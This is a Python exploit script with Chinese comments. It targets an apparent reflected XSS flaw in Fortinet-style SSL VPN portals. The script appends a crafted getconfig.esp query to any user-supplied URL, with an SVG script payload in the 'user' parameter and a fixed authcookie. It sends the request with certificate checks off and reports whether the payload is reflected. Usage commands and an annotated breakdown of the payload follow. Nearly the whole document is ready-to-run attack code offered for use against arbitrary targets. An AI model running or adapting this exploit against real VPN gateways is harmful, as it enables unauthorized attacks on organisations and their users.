Fortinet SSL VPN XSS 漏洞利用脚本

pip install requests

python3 exploit.py -u https://target.com

import requests
import argparse
import warnings

# 抑制 urllib3 模块的安全警告
warnings.filterwarnings("ignore", category=UserWarning, module='urllib3')

# 预定义的 XSS payload 路径
PAYLOAD_PATH = (
    "/ssl-vpn/getconfig.esp"
    "?client-type=1"
    "&protocol-version=p1"
    "&app-version=3.0.1-10"
    "&clientos=Linux"
    "&os-version=linux-64"
    "&hmac-algo=sha1%2Cmd5"
    "&enc-algo=aes-128-cbc%2Caes-256-cbc"
    "&authcookie=12cea70227d3aafbf25082fac1b6f51d"
    "&portal=us-vpn-gw-N"
    "&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22mitsec%22%29%3C%2Fscript%3E%3C%2Fsvg%3E"
    "&domain=(empty_domain)"
    "&computer=computer"
)

def build_exploit_url(base_url):
    """
    构建完整的漏洞利用 URL
    
    参数:
        base_url: 目标基础URL
        
    返回:
        完整的漏洞利用URL
    """
    # 去除URL末尾的斜杠
    if base_url.endswith("/"):
        base_url = base_url[:-1]
    # 拼接payload路径
    return base_url + PAYLOAD_PATH

def send_request(url):
    """
    发送HTTP请求并分析响应
    
    参数:
        url: 完整的漏洞利用URL
    """
    print(f"[+] Sending request to:\n{url}\n")
    try:
        # 发送GET请求，忽略SSL证书验证
        response = requests.get(url, verify=False, timeout=10)
        status = response.status_code
        print(f"[+] Status Code: {status}")

        # 根据状态码进行判断
        if status in [403, 401, 500]:
            print("[!] Access denied or server error (possible WAF/protection).")
        elif "prompt(\"mitsec\")" in response.text or "prompt('mitsec')" in response.text:
            print("[✅] XSS payload reflected! Look for prompt box on browser rendering.")
        else:
            print("[~] Payload not directly reflected. Review HTML manually.")

        # 显示响应内容的前500个字符
        print("\n--- Response Preview ---")
        print(response.text[:500])

    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")

if __name__ == "__main__":
    # 设置命令行参数解析器
    parser = argparse.ArgumentParser(
        description="🔥 XSS Exploit for Fortinet-style VPN portals (mitsec edition)"
    )
    parser.add_argument(
        "-u", "--url", 
        required=True, 
        help="Base URL of the target (e.g., https://target.com)"
    )
    args = parser.parse_args()

    # 构建完整URL并发送请求
    full_url = build_exploit_url(args.url)
    send_request(full_url)

<!-- 核心XSS payload结构 -->
<svg xmlns="http://www.w3.org/2000/svg">
    <script>
        prompt("mitsec")  <!-- 触发JavaScript提示框 -->
    </script>
</svg>

# PAYLOAD_PATH 中的关键参数：
# client-type=1          - 客户端类型
# protocol-version=p1    - 协议版本
# app-version=3.0.1-10   - 应用程序版本
# clientos=Linux         - 客户端操作系统
# os-version=linux-64    - 操作系统版本
# hmac-algo=sha1%2Cmd5   - HMAC算法
# enc-algo=aes-128-cbc%2Caes-256-cbc  - 加密算法
# authcookie=12cea70227d3aafbf25082fac1b6f51d  - 认证cookie（固定值）
# portal=us-vpn-gw-N     - 门户名称
# user=<XSS_PAYLOAD>     - 包含XSS payload的用户参数
# domain=(empty_domain)  - 域名参数
# computer=computer      - 计算机名参数

# 响应状态码处理逻辑
if status in [403, 401, 500]:
    # 访问被拒绝或服务器错误
    print("[!] Access denied or server error (possible WAF/protection).")
elif "prompt(\"mitsec\")" in response.text or "prompt('mitsec')" in response.text:
    # XSS payload被成功反射
    print("[✅] XSS payload reflected! Look for prompt box on browser rendering.")
else:
    # payload未被直接反射
    print("[~] Payload not directly reflected. Review HTML manually.")